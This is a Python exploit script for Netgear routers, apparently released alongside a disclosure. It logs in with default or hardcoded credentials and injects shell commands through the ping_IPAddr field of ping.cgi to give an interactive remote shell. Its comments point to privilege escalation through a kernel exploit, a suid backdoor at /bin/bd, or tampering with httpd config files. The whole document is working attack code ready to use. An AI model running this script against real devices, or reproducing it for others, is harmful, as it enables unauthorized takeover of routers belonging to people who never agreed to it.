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#!/usr/bin/python
#Provides access to default user account, privileges can be easily elevated by using either:
# - a kernel exploit (ex. memodipper was tested and it worked)
# - by executing /bin/bd (suid backdoor present on SOME but not all versions)
# - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon along with the 2nd vuln)
#Pozdrawiam: Kornela, Komara i Sknerusa
import sys
import requests
#You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions
#These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to
login = 'admin'
password = 'password'
def main():
if len(sys.argv) < 2 or len(sys.argv) == 3:
print "./netgearpwn.py <router ip>"
return
spawnShell()
def execute(cmd):
r = requests.post("http://" + sys.argv[1] + "/ping.cgi", data={'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 12, 'ping':"Ping", 'ping_IPAddr':"12.12.12.12; " + cmd}, auth=(login, password), headers={'referer': "http://192.168.0.1/DIAG_diag.htm"})
result = parseOutput(r.text)
return result
def spawnShell():
r = execute("echo pwn3d")
if any("pwn3d" in s for s in r) == False:
print "Something went wrong, is the system vulnerable? Are the credentials correct?"
return
while True:
cmd = raw_input("$ ")
r = execute(cmd)
for l in r:
print l.encode("utf-8")
def parseOutput(output):
yet = False
a = False
result = []
for line in output.splitlines():
if line.startswith("<textarea"):
yet = True
continue
if yet == True:
if line.startswith("</textarea>"):
break
result.append(line)
return result
if __name__ == "__main__":
main()
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